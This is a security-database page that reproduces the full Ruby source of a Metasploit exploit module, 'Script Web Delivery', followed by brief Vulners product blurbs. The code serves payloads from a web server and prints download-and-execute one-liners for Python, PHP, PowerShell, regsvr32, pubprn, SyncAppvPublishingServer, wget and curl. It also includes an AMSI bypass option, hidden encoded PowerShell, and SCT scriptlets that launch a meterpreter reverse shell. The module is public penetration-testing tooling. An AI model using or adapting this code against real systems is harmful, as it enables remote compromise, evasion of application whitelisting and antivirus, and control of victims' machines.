Lucene search
K

📄 Script Web Delivery

Please provide the input as an array of objects with id and description for processing.

Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ManualRanking
    
      include Msf::Exploit::EXE
      include Msf::Exploit::Powershell
      include Msf::Exploit::Remote::HttpServer
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Script Web Delivery',
            'Description' => %q{
              This module quickly fires up a web server that serves a payload.
    
              The module will provide a command to be run on the target machine
              based on the selected target. The provided command will download
              and execute a payload using either a specified scripting language
              interpreter or "squiblydoo" via regsvr32.exe for bypassing
              application whitelisting.
    
              The main purpose of this module is to quickly establish a session on a
              target machine when the attacker has to manually type in the command:
              e.g. Command Injection, RDP Session, Local Access or maybe Remote
              Command Execution.
    
              This attack vector does not write to disk so it is less likely to
              trigger AV solutions and will allow privilege escalations supplied
              by Meterpreter.
    
              When using either of the PSH targets, ensure the payload architecture
              matches the target computer or use SYSWOW64 powershell.exe to execute
              x86 payloads on x64 machines.
    
              Regsvr32 uses "squiblydoo" technique to bypass application whitelisting.
              The signed Microsoft binary file, Regsvr32, is able to request an .sct
              file and then execute the included PowerShell command inside of it.
    
              Similarly, the pubprn target uses the pubprn.vbs script to request and
              execute a .sct file.
    
              Both web requests (i.e., the .sct file and PowerShell download/execute)
              can occur on the same port.
    
              The SyncAppvPublishingServer target uses SyncAppvPublishingServer.exe
              Microsoft signed binary to request and execute a PowerShell script. This
              technique only works on Windows 10 builds <= 1709.
    
              "PSH (Binary)" will write a file to the disk, allowing for custom binaries
              to be served up to be downloaded and executed.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Andrew Smith "jakx" <[email protected]>',
              'Ben Campbell',
              'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!
              'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
              'Trenton Ivey', # AppLocker MSF Module (kn0)
              'g0tmi1k', # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
              'bcoles', # support for targets: pubprn, SyncAppvPublishingServer and Linux wget
              'Matt Nelson', # @enigma0x3 // pubprn discovery
              'phra', # @phraaaaaaa // https://iwantmore.pizza/ - AMSI/SBL bypass
              'Nick Landers', # @monoxgas // SyncAppvPublishingServer discovery
            ],
            'DefaultOptions' => {
              'Payload' => 'python/meterpreter/reverse_tcp',
              'Powershell::exec_in_place' => true
            },
            'References' => [
              ['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
              ['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
              ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
              ['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
              ['URL', 'http://web.archive.org/web/20171026182440/http://subt0x10.blogspot.com:80/2017/04/bypass-application-whitelisting-script.html'],
              ['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'],
              ['URL', 'https://iwantmore.pizza/posts/amsi.html'],
              ['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'],
              ['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/'],
              ['URL', 'https://lolbas-project.github.io/lolbas/Scripts/Pubprn/'],
            ],
            'Platform' => %w[python php win linux osx],
            'Targets' => [
              [
                'Python', {
                  'Platform' => 'python',
                  'Arch' => ARCH_PYTHON
                }
              ],
              [
                'PHP', {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                }
              ],
              [
                'PSH', {
                  'Platform' => 'win',
                  'Arch' => [ARCH_X86, ARCH_X64]
                }
              ],
              [
                'Regsvr32', {
                  'Platform' => 'win',
                  'Arch' => [ARCH_X86, ARCH_X64]
                }
              ],
              [
                'pubprn', {
                  'Platform' => 'win',
                  'Arch' => [ARCH_X86, ARCH_X64]
                }
              ],
              [
                'SyncAppvPublishingServer', {
                  'Platform' => 'win',
                  'Arch' => [ARCH_X86, ARCH_X64]
                }
              ],
              [
                'PSH (Binary)', {
                  'Platform' => 'win',
                  'Arch' => [ARCH_X86, ARCH_X64]
                }
              ],
              [
                'Linux', {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X86, ARCH_X64]
                }
              ],
              [
                'Mac OS X', {
                  'Platform' => 'osx',
                  'Arch' => [ARCH_X86, ARCH_X64]
                }
              ],
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2013-07-19',
            'Notes' => {
              'Reliability' => UNKNOWN_RELIABILITY,
              'Stability' => UNKNOWN_STABILITY,
              'SideEffects' => UNKNOWN_SIDE_EFFECTS
            }
          )
        )
    
        register_advanced_options(
          [
            OptBool.new('PSH-AmsiBypass', [ true, 'PSH - Request AMSI/SBL bypass before the stager', true ]),
            OptString.new('PSH-AmsiBypassURI', [ false, 'PSH - The URL to use for the AMSI/SBL bypass (Will be random if left blank)', '' ]),
            OptBool.new('PSH-EncodedCommand', [ true, 'PSH - Use -EncodedCommand for web_delivery launcher', true ]),
            OptBool.new('PSH-ForceTLS12', [ true, 'PSH - Force use of TLS v1.2', true ]),
            OptBool.new('PSH-Proxy', [ true, 'PSH - Use the system proxy', true ]),
            OptString.new('PSHBinary-PATH', [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),
            OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),
          ]
        )
      end
    
      def primer
        print_status('Run the following command on the target machine:')
    
        case target.name
        when 'PHP'
          print_line(%(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"))
        when 'Python'
          print_line(%(python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}', context=ssl._create_unverified_context());exec(r.read());"))
        when 'PSH'
          uri = get_uri
          if datastore['PSH-AmsiBypass']
            amsi_uri = uri + amsi_bypass_uri
            print_line(gen_psh([amsi_uri, uri], 'string').to_s)
          else
            print_line(gen_psh(uri, 'string').to_s)
          end
        when 'pubprn'
          print_line(%(C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs 127.0.0.1 script:#{get_uri}.sct))
        when 'SyncAppvPublishingServer'
          print_line(%(SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('#{get_uri}') | IEX"))
        when 'Regsvr32'
          print_line(%(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll))
        when 'PSH (Binary)'
          psh = gen_psh(get_uri.to_s, 'download')
          print_line(psh.to_s)
        when 'Linux'
          fname = Rex::Text.rand_text_alphanumeric(8)
          print_line("wget -qO #{fname} --no-check-certificate #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")
        when 'Mac OS X'
          fname = Rex::Text.rand_text_alphanumeric(8)
          print_line("curl -sk --output #{fname} #{get_uri}; chmod +x #{fname}; ./#{fname}& disown")
        end
      end
    
      def amsi_bypass_uri
        unless datastore['PSH-AmsiBypassURI'].empty?
          @amsi_uri = datastore['PSH-AmsiBypassURI']
        end
        @amsi_uri ||= random_uri
      end
    
      def on_request_uri(cli, request)
        if request.raw_uri.to_s.ends_with?('.sct')
          print_status('Handling .sct Request')
          psh = gen_psh(get_uri.to_s, 'string')
    
          case target.name
          when 'pubprn'
            data = gen_pubprn_sct_file(psh)
          when 'Regsvr32'
            data = gen_sct_file(psh)
          else
            print_error('Unexpected request for .sct file')
          end
    
          send_response(cli, data, 'Content-Type' => 'text/plain')
          return
        end
    
        if request.raw_uri.to_s.ends_with?(amsi_bypass_uri)
          data = bypass_powershell_protections
          print_status("Delivering AMSI Bypass (#{data.length} bytes)")
          send_response(cli, data, 'Content-Type' => 'text/plain')
          return
        end
    
        case target.name
        when 'Linux', 'Mac OS X', 'PSH (Binary)'
          data = generate_payload_exe
        when 'PSH', 'Regsvr32', 'pubprn', 'SyncAppvPublishingServer'
          data = cmd_psh_payload(
            payload.encoded,
            payload_instance.arch.first
          )
        else
          data = payload.encoded.to_s
        end
    
        print_status("Delivering Payload (#{data.length} bytes)")
        send_response(cli, data, 'Content-Type' => 'application/octet-stream')
      end
    
      def gen_psh(url, *method)
        ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
        force_tls12 = Rex::Powershell::PshMethods.force_tls12 if datastore['PSH-ForceTLS12']
    
        if method.include? 'string'
          download_string = datastore['PSH-Proxy'] ? Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url) : Rex::Powershell::PshMethods.download_and_exec_string(url)
        else
          # Random filename to use, if there isn't anything set
          random = "#{rand_text_alphanumeric(8)}.exe"
    
          # Set filename (Use random filename if empty)
          filename = datastore['PSHBinary-FILENAME'].blank? ? random : datastore['PSHBinary-FILENAME']
    
          # Set path (Use %TEMP% if empty)
          path = datastore['PSHBinary-PATH'].blank? ? '$env:temp' : %('#{datastore['PSHBinary-PATH']}')
    
          # Join Path and Filename
          file = %(echo (#{path}+'\\#{filename}'))
    
          # Generate download PowerShell command
          download_string = Rex::Powershell::PshMethods.download_run(url, file)
        end
    
        download_and_run = "#{force_tls12}#{ignore_cert}#{download_string}"
    
        # Generate main PowerShell command
        if datastore['PSH-EncodedCommand']
          download_and_run = encode_script(download_and_run)
          return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: download_and_run)
        end
    
        return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
      end
    
      def rand_class_id
        "#{Rex::Text.rand_text_hex(8)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(4)}-#{Rex::Text.rand_text_hex(12)}"
      end
    
      def gen_sct_file(command)
        %{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
      end
    
      def gen_pubprn_sct_file(command)
        %{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric(8)}" classid="{#{rand_class_id}}" remotable="true"></registration><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></scriptlet>}
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Aug 2025 00:00Current
7High risk
Vulners AI Score7
162